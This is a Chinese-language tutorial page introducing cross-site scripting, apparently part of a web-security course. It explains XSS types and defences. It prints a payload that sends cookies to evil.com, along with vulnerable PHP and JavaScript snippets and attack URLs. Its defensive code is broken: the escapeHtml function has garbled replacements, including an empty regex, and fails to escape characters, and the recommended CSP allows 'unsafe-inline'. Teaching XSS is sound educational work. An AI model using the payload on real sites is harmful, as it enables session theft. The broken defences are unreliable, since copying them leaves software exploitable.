跨站脚本攻击(XSS)入门

Web安全学习路径 | 模块3 | 课程1

1. 引言

跨站脚本攻击(Cross-Site Scripting,简称XSS)是一种常见的Web安全漏洞。攻击者通过在网页中注入恶意脚本,使其在用户浏览器中执行,从而获取用户信息、劫持用户会话或者修改网页内容。

学习目标: 理解XSS攻击的原理和类型,掌握XSS漏洞的发现和利用方法,学习XSS防御技术。

2. XSS基础知识

2.1 什么是XSS

XSS是一种代码注入攻击,攻击者将恶意JavaScript代码注入到网页中,当其他用户访问这个页面时,恶意代码会在他们的浏览器中执行。这可能导致:

  • 窃取用户的Cookie和会话信息
  • 劫持用户账号
  • 修改页面内容
  • 监控用户行为
  • 传播蠕虫病毒

2.2 XSS的工作原理

XSS攻击的核心是让浏览器误以为恶意脚本是网站正常的一部分。例如:

// 一个简单的XSS payload <script> document.location='http://evil.com/steal.php?cookie='+document.cookie; </script>

3. XSS攻击类型

3.1 反射型XSS

反射型XSS是最简单的XSS类型,攻击代码从请求URL中的参数反射到网页中。例如:

// 易受攻击的PHP代码 <?php echo "Welcome, " . $_GET['name'] . "!"; ?> // 攻击URL示例 http://example.com/page.php?name=<script>alert('XSS')</script>

3.2 存储型XSS

存储型XSS将恶意代码永久存储在目标服务器上(如数据库中),当其他用户访问包含此恶意代码的页面时触发攻击。常见于:

  • 评论系统
  • 留言板
  • 个人资料
  • 社交媒体帖子

3.3 DOM型XSS

DOM型XSS通过修改页面的DOM环境来触发攻击,不需要与服务器交互。例如:

// 易受攻击的JavaScript代码 var name = document.location.hash.substring(1); document.write("Welcome, " + name); // 攻击URL示例 http://example.com/page.html#<script>alert('XSS')</script>

4. XSS防御措施

4.1 输入验证和过滤

对用户输入进行严格的验证和过滤是防御XSS的第一道防线:

// PHP中的HTML转义 $safe_input = htmlspecialchars($_GET['input'], ENT_QUOTES, 'UTF-8'); // JavaScript中的HTML转义 function escapeHtml(unsafe) { return unsafe .replace(/&/g, "&") .replace(//g, ">") .replace(/"/g, """) .replace(/'/g, "'"); }

4.2 内容安全策略(CSP)

使用Content Security Policy来限制资源加载和脚本执行:

// 在HTTP响应头中设置CSP Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'

4.3 HttpOnly Cookie

使用HttpOnly标记保护Cookie不被JavaScript访问:

// 在PHP中设置HttpOnly Cookie setcookie("session_id", $value, time()+3600, "/", "", true, true);

5. 实践练习

XSS漏洞实战演练

在我们的靶场环境中,你可以安全地练习XSS攻击和防御技术。点击下面的按钮开始练习:

开始练习